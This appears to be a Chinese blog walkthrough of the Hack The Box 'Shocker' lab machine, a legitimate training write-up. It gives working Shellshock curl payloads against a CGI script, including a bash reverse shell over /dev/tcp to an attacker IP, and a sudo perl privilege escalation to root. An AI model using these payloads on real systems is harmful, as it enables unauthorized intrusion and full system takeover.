继续HTB
这一道题也挺简单。还是经验少不知道这个漏洞
常规namp
root@kali:~/Desktop# nmap -sV -T4 10.10.10.56
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-30 07:54 EST
Nmap scan report for 10.10.10.56
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
开了80和 2222 。有web服务先看web ssh是否有漏洞先放着
web页面就一个图片,没有其余东西(当初还想着图片里面是不是隐写了什么),接着流程扫目录寻找敏感文件。先看(robots.txt)这里用工具dirsearch
Target: http://10.10.10.56
[08:06:38] Starting:
[08:07:38] 403 - 294B - /cgi-bin/
[08:08:13] 200 - 137B - /index.html
[08:08:56] 403 - 299B - /server-status
[08:08:56] 403 - 300B - /server-status/
发现有cgi-bin 目录,目标web服务使用了CGI(通用网关接口),继续扫该目录看看有没有解析的文件
root@kali:~/Desktop/dirsearch# python3 dirsearch.py -u 10.10.10.56/cgi-bin/ -e sh,py,cgi
Target: 10.10.10.56/cgi-bin/ [07:17:12] Starting:
[07:20:01] 200 - 118B - /cgi-bin/user.sh
这里之后要使用一个漏洞,经验少是整破头也想不出来 。漏洞名称CVE-2014-6271(破壳),不细说这个漏洞。
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理漏洞大概就是这样的。
root@kali:~/Desktop# curl -A "() { :;};echo ; echo; /bin/bash -c 'whoami'" http://10.10.10.56/cgi-bin/user.sh
shelly
测试成功,反个shell
本地监听9999
curl -A "() { :;};echo ; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.14/9999 0>&1 '" http://10.10.10.56/cgi-bin/user.sh
成功获取user的flag
shelly@Shocker:/home/shelly$ ls
ls
user.txt
之后进行提权
shelly@Shocker:/home/shelly$ sudo -l //列出用户特权或检查一个特定的命令
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$
可以发现该用户可以 sudo nopasswd起 perl
shelly@Shocker:/home/shelly$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
sudo /usr/bin/perl -e 'exec "/bin/sh";'
whoami
root
cd /root
ls
root.txt
cat root.txt
完事——还是菜
https://www.freebuf.com/news/48331.html 漏洞文章